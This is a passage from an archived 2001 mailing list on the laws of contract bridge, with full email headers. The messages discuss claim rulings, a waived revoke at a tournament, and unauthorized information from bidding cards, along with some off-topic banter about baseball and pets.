(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 16:01:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T50A907217 for bridge-laws-outgoing; Mon, 29 Jan 2001 16:00:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T504t07213 for ; Mon, 29 Jan 2001 16:00:05 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Sun, 28 Jan 2001 21:00:55 -0800 Message-ID: <007701c089b0$50018460$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: Subject: Re: [BLML] Claim? Date: Sun, 28 Jan 2001 20:52:13 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-Meads wrote: > Marv wrote: > > > What's wrong with the current "statement to the effect"? Your words > > seem to require that a number be mentioned, but "We missed a cold > > slam" should certainly constitute a claim. > > > > Surely not. There is nothing in that statement to indicate that the > missed slam is in the same denomination as the contract being played. > Nor does it indicate whether 12 or 13 tricks would be expected. > There is nothing about "same denomination" in L68A, so forget that. The player certainly has claimed at least 12 tricks, and that's a specific number. Okay, so the lawmakers perhaps should have written "will win at least a specific number of tricks," to make the intended meaning quite clear to the literal-minded. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 16:43:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T5gwN07244 for bridge-laws-outgoing; Mon, 29 Jan 2001 16:42:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T5gpt07240 for ; Mon, 29 Jan 2001 16:42:52 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id UAA24074 for ; Sun, 28 Jan 2001 20:57:27 -0900 Date: Sun, 28 Jan 2001 20:43:24 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Claim? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sun, 28 Jan 2001, Tim West-meads wrote: > Marv wrote: > > What's wrong with the current "statement to the effect"? Your words > > seem to require that a number be mentioned, but "We missed a cold > > slam" should certainly constitute a claim. > Surely not. There is nothing in that statement to indicate that the > missed slam is in the same denomination as the contract being played. > Nor does it indicate whether 12 or 13 tricks would be expected. I wish I had thought of that! This is the first brilliant new ray of light I've seen in this thread in quite some time. Now that you mention it, though, it makes a lot of sense: I've heard this remark quite often when my opponents declare 4NT and it's obvious to everyone and his dog that they belong in 6S (or 7C or whatever). Indeed "we missed a cold slam" seems to be a statement that 12+ tricks _could have been_ made, not necessarily that they WILL be. This is complicated because at the table, it's quite obvious whether the speaker means "I will make six in this contract" or "I could have made six in ___"; it is also usually quite obvious whether this is intended as a claim or not, and we seem to be trying to rule without getting into intent all that much. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 18:59:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T7wCh18201 for bridge-laws-outgoing; Mon, 29 Jan 2001 18:58:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from harrier.prod.itd.earthlink.net (harrier.prod.itd.earthlink.net [207.217.121.12]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T7w5t18163 for ; Mon, 29 Jan 2001 18:58:05 +1100 (EST) Received: from brianbaresch (sdn-ar-001kslawrP293.dialsprint.net [158.252.182.31]) by harrier.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id XAA06892 for ; Sun, 28 Jan 2001 23:58:01 -0800 (PST) Message-ID: <200101290159400950.03232366@mail.earthlink.net> In-Reply-To: References: X-Mailer: Calypso Version 3.20.01.00 (3) Date: Mon, 29 Jan 2001 01:59:40 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >> Surely not. There is nothing in that statement to indicate that the >> missed slam is in the same denomination as the contract being played. >> Nor does it indicate whether 12 or 13 tricks would be expected. Indeed. Last night we were in 3NT, and when dummy came down I could see that 6D was frigid. Had I said "We missed a slam" (thanks in part to this thread I was on notice not to) I certainly would have argued vehemently that I wasn't claiming 12 tricks in NT; in fact 3NT failed by 1. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 19:17:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T8Gg224803 for bridge-laws-outgoing; Mon, 29 Jan 2001 19:16:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T8GZt24766 for ; Mon, 29 Jan 2001 19:16:36 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA06071; Mon, 29 Jan 2001 09:16:31 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Mon Jan 29 09:19:25 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZH34O1I6Q002P05@AGRO.NL>; Mon, 29 Jan 2001 09:16:09 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Mon, 29 Jan 2001 09:11:33 +0100 Content-return: allowed Date: Mon, 29 Jan 2001 09:15:59 +0100 From: "Kooijman, A." Subject: RE: [BLML] Cap Gemini shows the way To: "'David Burn'" , Bridge Laws Message-id: <67378DEA146DD21194C20000F87B08BA01B8B799@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > Extract from Bulletin 1 from the recent Cap Gemini tournament in the > Netherlands: > > At most tables, the contract was 4H which went down one. Forrester - > Helgemo were in 4H as well, Chemla - Levy defending. Superficially > looking at it, one would say that declarer stands no chance, but the > prospects changed dramatically when Chemla revoked during the play of > the hand. In a tournament of this standard, players would not call the > director, but rather invite their opponents to correct the revoke and > waive the penalty card. That's exactly what happened at this > gentlemen's > table, but it is interesting to see that Forrester might have made his > contract had he imposed the Law. > > Comments on an electronic postcard. > > David Burn > London, England > What coincidence, I was a TD in this event. And I was not at the table when it happened (weren't I?). It probably wouldn't have happened had I been there, so I am to blame. My experience is that journalists tend to have these kind of ideas, presuming that the sponsor is pleased by their description of kindness and sportmanship shown by the players. Grattan wrote: 'Unusual for a couple of comedians to sponsor a bridge tournament' and had the aforism: 'Speak when you are angry and you'll make the best speech you'll ever regret'. I consider Cap Gemini as a very serious sponsor. Was Grattan that angry? To show that most of it is taken seriously I can tell you that we had two appeals, quite interesting even. If time permits I'll show them. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 19:25:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T8PjC28033 for bridge-laws-outgoing; Mon, 29 Jan 2001 19:25:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Mailhub1.qub.ac.uk (isaiah.qub.ac.uk [143.117.143.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T8Pct27995 for ; Mon, 29 Jan 2001 19:25:38 +1100 (EST) Received: from fujin.qub.ac.uk by Mailhub1.qub.ac.uk with SMTP-QUB (XT-PP) with ESMTP; Mon, 29 Jan 2001 08:25:24 +0000 Received: from DRHILL.qub.ac.uk ([143.117.47.245]) by fujin.qub.ac.uk (8.8.8+Sun/8.8.8) with SMTP id IAA02284; Mon, 29 Jan 2001 08:25:20 GMT From: Alan Hill To: Craig Senior Cc: bridge-laws , alain gottcheiner Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? In-Reply-To: <006601c087d8$b80c6680$9b10f7a5@james> Message-ID: Date: Mon, 29 Jan 2001 08:23:24 +0000 (GMT Standard Time) X-Mailer: Simeon for Win32 Version 4.1.5 Build (43) X-Authentication: IMSP MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk One dog, Harvey, wild unmanageable mongrel. No cats. Alan H On Fri, 26 Jan 2001 15:44:01 -0500 Craig Senior wrote: > Welcome Alan. > > You forgot to tell us of your cats and/or dogs. :-)) > > Craig > ----- Original Message ----- > From: "Alan Hill" > To: "alain gottcheiner" > Cc: > Sent: Friday, January 26, 2001 6:49 AM > Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? > > > > As someone very very fond of his cricket who has seen the Cubs > > at Wrigley field I strongly recommend a visit. It will change > > your view of Baseball for life. > > As my first message I hope you will tell me if I have done > > everything right. > > Alan Hill > > Belfast, N.Ireland > > > > On Fri, 26 Jan 2001 11:15:14 +0100 alain gottcheiner > > wrote: > > > > > At 14:59 25/01/01 -0500, Craig Senior wrote: > > > >As did Leo at both the Polo Grounds and Ebbets Field. > > > > > > > > > > Would you all please choose _inter_national sports when > making subtle > > > allusions ? Everybody wants to participate to the presumed > general hilarity. > > > > > > A. > > > > > > -- > > > > ================================================================ > ======== > > > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > > > "(un)subscribe bridge-laws" or just "help" in the BODY of > the message. > > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > > > ---------------------- > > Alan Hill > > > > -- > > > ================================================================ > ======== > > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the > message. > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ ---------------------- Alan Hill -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 22:26:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TBOxC26787 for bridge-laws-outgoing; Mon, 29 Jan 2001 22:24:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TBOlt26734 for ; Mon, 29 Jan 2001 22:24:49 +1100 (EST) Received: from village.uunet.be (uu212-190-9-3.unknown.uunet.be [212.190.9.3]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0TBOft22776 for ; Mon, 29 Jan 2001 12:24:42 +0100 (MET) Message-ID: <3A741DA3.332C11FE@village.uunet.be> Date: Sun, 28 Jan 2001 14:24:51 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] wake up allowed? References: <3A6DB570.A0815438@village.uunet.be> <3A6E9B1B.16DCE844@village.uunet.be> <38906D22.4149@hal-pc.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Georgiana Gates wrote: > > Herman De Wael wrote: > > > > Ed Reppert wrote: > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > At 5:46 PM +0100 1/23/01, Herman De Wael wrote: > > > >For what it's worth, I do not believe that the fact that > > > >bidding cards are used, and the 3Di bid lies right over the > > > >1NT means that 1NT now becomes AI per se. > > > > > > Earlier you said that something needs to happen which would cause the > > > player to ask for a review of the auction. Are you suggesting that is > > > necessary *when bidding cards are in use*? Must a player think "if we > > > weren't using bidding boxes, I would ask for a review" before the UI > > > becomes AI? Must he *actually* ask for a review, even using bidding > > > boxes? > > > > > > > No he doesn't. > > > > The auction must have become sufficiently "strange" for the > > average person to ask for a review, if we would be using > > spoken bidding. > > > > I'd say that two rounds of bidding would suffice. > > I thought a player's right to a review was absolute. Or have I come > too late to this thread? Of course it is an absolute right. Which is why the actual bidding becomes AI, once a review would be asked for. But when a player uses UI in deciding he needs to ask for a review of the bidding, that is use of UI which in my opinion should lead to a L16 adjustment. Perhaps you did drop in too late into the thread, but the problem was whether it is AI for a player to know that he has put the bidding card of 1Sp on the table, when all the time he wanted to bid 1He. My opinion is that this is not AI, and even UI when there was some source of UI that reveals it (such as an alert by partner). OTOH, when the bidding later becomes "strange", I rule that there then is AI, which would suggest to the player to ask for a review of the bidding, as is his right. From that moment on the actual bid becomes AI again. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:38:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCc7D14666 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:38:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCbrt14655 for ; Mon, 29 Jan 2001 23:37:54 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14NDYz-000901-0Y for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 12:37:44 +0000 Message-ID: Date: Fri, 26 Jan 2001 15:47:46 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Todd Zimnoch writes >>From: David Stevenson >> Incidentally, what would you think if someone was descrived as >>Pickwickian? > > I'd think, "Cool, a new word." I checked its definition in a >dictionary, but that doesn't help me much. Is in meant to be a slight, a >rather harsh insult, or neither? I don't know. I was called it on RGB, but I have no idea what the writer meant. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:38:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCcDT14668 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:38:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCbot14648 for ; Mon, 29 Jan 2001 23:37:51 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14NDYz-000900-0Y for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 12:37:43 +0000 Message-ID: Date: Fri, 26 Jan 2001 15:46:53 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: <3.0.6.32.20010125222350.00c4fab0@sujja.com> In-Reply-To: <3.0.6.32.20010125222350.00c4fab0@sujja.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Kent writes >At 15:47 25/1/01 +0000, David Stevenson wrote: >> Incidentally, what would you think if someone was descrived as >>Pickwickian? > >Based on a quick search on Yahoo.com, > >"Obesity hypoventilation syndrome (Pickwickian syndrome) > > Alternative names: > > Pickwickian syndrome > > Definition: > > A group of symptoms that can accompany massive obesity. > > Massive obesity interferes with the movement of the chest wall and >subsequently reduces the breathing. This results in a decreased ability to >oxygenate the blood. Affected individuals suffer from chronic hypoxia >(decreased blood oxygen). The Pickwickian syndrome is characterized by >massive obesity, flushed face, frequent short episodes of irresistible >sleep throughout the day, and disturbed sleep at night. These individuals >are at risk for hypoxic cardiomyopathy, pulmonary hypertension, and cor >pulmonale." > >Search engines are wonderful things. Are you trying to tell me that the person who called me this on RGB meant I was fat? Well, of course I am fat, but it hardly seems relevant .... -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:38:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCc8w14667 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:38:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCbrt14653 for ; Mon, 29 Jan 2001 23:37:54 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14NDYz-000902-0Y for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 12:37:43 +0000 Message-ID: <2JSng1A4Bac6Ew2a@blakjak.demon.co.uk> Date: Fri, 26 Jan 2001 16:06:16 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Consistent Claim Adjudication References: <4X3E3MAsBEc6EwXF@blakjak.demon.co.uk> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Peter Newman writes >On Thu, 25 Jan 2001, David Stevenson wrote: > >> Peter Newman writes >> >Hi All, >> > >> >Thanks for the responses - it seems fairly agreed that it should be two >> >tricks for the defence. North gets to pitch one heart from dummy, wakes up >> >for the second and then doesn't pitch the stopper.... >> >> Reading this before I have even posted seems pretty quick! > >Sorry about that - it seemed there had been a welter of responses >suggesting that it was an obvious situation. > >As you wrote it isn't quite so obvious. Nor is it to me. >The reason I think that is if the hand was as I detailed in the 2nd >example (below) then the same reasoning - it is irrational to pitch the >heart stopper leads to 3 down. Losing a club, a heart and a diamond. >[Despite many saying still 2 down]. My point was that if the hand was the >2nd example then by pitching hearts you make 3NT (and down 4 if you >unlucky and the defense can organise 5 defensive tricks). Is it irrational >to play for a lie of the cards where you can make the contract. > >I don't think the current claim laws are easy to interpret and I think it >is very hard to get consistency when the directors start to guess at what >is going to happen (particularly given that by the very essence of the >situation declarer has done something close to irrational - miscounted the >hand). > >> >> >So I assume if the hand was (and although not described consistent with the >> >play to this point): >> > >> > T5 >> > -- >> > -- >> > Q654 >> >-- 8764 >> >A875 -- >> >95 -- >> >-- 87 >> > KJ3 >> > KJ6 >> > -- >> > -- >> >> Same ruling, probably 2 tricks for the defence, can see the argument >> for three. > >Why 2? If you pitch a low heart and low spade the tricks are 3-3. If you >pitch a low heart and high spade you make 5 tricks the defence 1. I dont >see how you can average them. I did not look at it carefully enough. Unfortunately you had this very quick riposte, and I was not prepared to do the whole of my logical argument again. I don't average anything - we are not allowed to, though it would seem a reasonable approach [not averaging, but weighting]. Yeah, I can see possibilities of the defence getting 1, 3 or 4 tricks. So, perhaps we give 4 tricks. >> >Put me down as a fan of - any director, same decision....or in other words - >> >not a supporter of the current law! >> >> Directors who rule other than they believe the Laws to say should not >> be getting fans. >> >> Of course, there are many situations where we do not agree, and claims >> are one of them. > >That is why as a player I would like to see uniformity regardless of >whether I get a director who subscribes to BLML or your average club >director. But we are not going to get it now. To do so we either want simpler Laws that anyone can apply unambiguously, or better training. The argument for simpler laws is not at all simple, there are advantages both ways, and anyway would not affect anything before the next Law book at least. But getting the world to know what the *right* answer is depends on so many people and organisations, some of which try to get things right, some of which don't try nearly so hard. When this list reaches a consensus, which I believe is an excellent thing, to be reached if possible, despite Marv suggesting I think otherwise, then a group of people have learnt something. They tell others, and it spreads outward. When something is discussed in the Australian Director's bulletin, an excellent publication which everyone on this list should be taking [Rich Colker has joined the panel!] the same applies: people who have not read it are affected indirectly. The EBU trains Club TDs, lots of them. The standard of TDing in clubs with a qualified Club TD is higher *even* when he is not directing because of his influence. I would like to manage a website for the WBF where people can ask directing questions, and get answers. Again, this would help towards consistency. What you want, Peter, is akin to getting rid of landmines throughout the world: it is bloody difficult, the end is not in site, but we are moving the right way. BLML helps for TDs. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:38:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCc1T14662 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:38:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCbot14645 for ; Mon, 29 Jan 2001 23:37:50 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14NDYz-0008zz-0Y for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 12:37:42 +0000 Message-ID: Date: Fri, 26 Jan 2001 15:45:38 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: <033d01c0875a$746bc480$9a9c1e18@san.rr.com> In-Reply-To: <033d01c0875a$746bc480$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >From: "David Stevenson" >> >> What we used to do here was to come to a reasonable consensus. > >When I first came on BLML, I thought the goal was to find a reasonable >consensus. No, I was told, not true. The job of BLML is to discuss, not to >reach a consensus. Guess who told me that. Well, if it was me, I don't agree with myself. >> Perhaps you could tell me why that is no longer allowed. >> >It was never followed. Oh yes it was. >> We are no longer allowed to use reason - well, when I do I get very >> nasty personal remarks. > >One person's reason is another person's absurdity. It's the way people >are, don't take offense. But it did not used to be. I used to be able to apply my logic without reaping personal remarks, and impersonal but completely damaging remarks. I am happy to be told I am wrong, but the method of telling me I am wrong has changed. There used to be friendly banter - now there is disgust. >> Incidentally, what would you think if someone was described as >> Pickwickian? >> >Don't take it personally, David. I'm sure no offense was intended. I have no idea whether offense was intended because I do not know what it means. That is why I asked. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:38:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCbsH14651 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:37:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCblt14642 for ; Mon, 29 Jan 2001 23:37:48 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14NDYz-0008zx-0Y for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 12:37:42 +0000 Message-ID: Date: Fri, 26 Jan 2001 15:39:19 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? References: <3.0.6.32.20010126111514.008358d0@pop.ulb.ac.be> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alan Hill writes >As someone very very fond of his cricket who has seen the Cubs >at Wrigley field I strongly recommend a visit. It will change >your view of Baseball for life. >As my first message I hope you will tell me if I have done >everything right. Oh, hi. Nice to see you. Any cats? d*gs? I think baseball is great, but it is true it is not international. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:39:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCdAM14706 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:39:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCd3t14702 for ; Mon, 29 Jan 2001 23:39:04 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id NAA06693; Mon, 29 Jan 2001 13:34:55 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be 